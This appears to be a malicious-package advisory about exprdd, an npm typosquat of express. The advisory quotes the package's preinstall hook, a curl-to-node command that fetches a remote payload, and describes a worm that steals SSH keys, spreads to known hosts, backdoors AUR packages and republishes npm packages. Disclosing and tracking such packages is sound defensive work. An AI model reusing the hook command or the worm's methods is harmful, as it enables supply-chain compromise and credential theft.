exprdd
Affected
- Versions:
5.2.1,5.2.2
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in exprdd (npm)
The package exprdd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.
On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (d800570db124bde006fc1d078aefceef4e42acce755653f6d3c8282447a512a4)
package.json declares a preinstall lifecycle hook curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, which fetches an unpinned JavaScript payload from a third-party host (gitflic.ru, retrieved via web.archive.org) and pipes it directly into node. Running npm install exprdd therefore executes attacker-controlled code with the installer's privileges before any package code is reviewed or imported. The tarball reuses express's name-adjacent identifier, description ("Fast, unopinionated, minimalist web framework"), author, contributors, repository (expressjs/express), homepage, and dependency list, and ships express's index.js stub, disguising the dropper as the legitimate express package and increasing the chance of accidental installation via typo.
Not rated by the source.
5.2.1, 5.2.2None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0